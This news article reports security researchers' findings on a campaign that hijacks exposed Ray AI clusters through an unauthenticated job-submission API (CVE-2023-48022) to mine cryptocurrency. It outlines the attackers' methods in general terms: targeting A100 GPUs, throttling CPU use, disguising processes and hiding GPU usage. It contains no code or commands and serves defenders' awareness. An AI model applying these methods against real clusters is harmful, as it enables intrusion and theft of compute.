Hackers turn open-source AI framework into global cryptojacking operation
Malicious hackers have been attacking the development environment of an open-source AI framework, twisting its functions into a global cryptojacking bot for profit, according to researchers at cybersecurity firm Oligo.
The flaw exists in an Application Programming Interface for Ray, an open-source framework for automating, scaling and optimizing compute resources that Oligo researchers called “Kubernetes for AI” due to its popularity. This vulnerability allows for unauthenticated remote code execution.
The attackers “have turned Ray’s legitimate orchestration features into tools for a self-propagating, globally cryptojacking operation, spreading autonomously across exposed Ray clusters,” Oligo researchers Ari Lumelsky and Gal Elbaz wrote.
Oligo’s report describes/details observing multiple cybercriminal groups jostling and battling with each other and legitimate users for LLM compute resources. They also used several techniques to hide their presence, limiting CPU usage to evade detection, disguising malicious processes as legitimate services, and hiding GPU usage from Ray’s monitoring to avoid detection while leveraging “premium compute resources,” researchers wrote.
The potential attack surface for exploitation is large: Oligo researchers say there are more than 200,000 exposed Ray servers online, though only a portion have been confirmed thus far as vulnerable or compromised.
“Many of the exposed servers belong to active startups, research labs, and cloud-hosted AI environments, while some are honeypots,” Lumelsky and Elbaz wrote.
The researchers said the latest campaign is a “major evolution” from prior exploitation of the same vulnerability in Ray initially discovered in 2023, and they believe it’s an entirely separate group of actors this time around. The report says available evidence indicates the attackers “could” have been lurking in Ray since September 2024, more than a year, while migrating between development environments GitLab and GitHub.
The actors gained initial access to exposed Ray nodes through the Job Submission API flaw, then sent commands to Ray’s dashboard in the form of fraudulent tasks the system processes. Although the dashboard is supposed to be used only within internal networks, Oligo notes they are frequently exposed to the public internet. This allowed attackers to explore the network further and deploy malware payloads.
“Instead of exploiting CVEs or using network attacks, attackers used Ray’s own scheduling API to spread,” the researchers wrote. “It’s essentially using the victim’s infrastructure as intended, using python code – like the applications that are already running, just for malicious purposes.”
Once the attackers took control of Ray clusters, they manipulated the system that manages compute resources. They specifically searched for NVIDIA A100 GPUs, calculated the best way to use those resources, and then submitted takeover jobs with the exact resource requirements. Oligo noted that A100 chips are valuable to cryptominers because they cost $3-4 per hour on most cloud platforms, allowing attackers to hide their presence in the cloud “while stealing premium compute resources.”
The attack occurred in two phases. First, the attackers used GitLab to develop and deliver their malware, but this operation was taken down after being discovered on November 5. A few days later, the attackers reappeared on GitHub, creating a new repository to continue their campaign. Lumelsky and Elbaz noted that whenever their activity was discovered, the attackers simply created new GitHub repositories. As of November 17, the campaign was still ongoing.
In response to a request for comment on the research Nov. 18, a public relations firm representing GitHub said the company is “committed to investigating reported security issues.”
“In response to malicious activity, we have removed the accounts that violate GitHub’s Acceptable Use Policies, which prohibit content that supports malware campaigns,” a spokesperson said through email.
Artifacts drawn from attempts to obfuscate their presence contained code that “strongly implies” it was generated with a Large Language Model.
It’s important to note that the underlying API flaw exploited in both the 2023 attacks and this more recent campaign (CVE-2023-48022) has never been fully mitigated.
According to the flaw’s MITRE ATT&CK entry, the bug “remains unpatched and has been disputed by the vendor as they maintain that Ray is not intended for use outside of a strictly controlled network environment.”
“In practice however, users often deploy Ray without heeding this warning, which creates an extended window for exploitation, evidenced by its continued and expanded weaponization by attackers in the wild,” Lumelsky and Elbaz wrote.
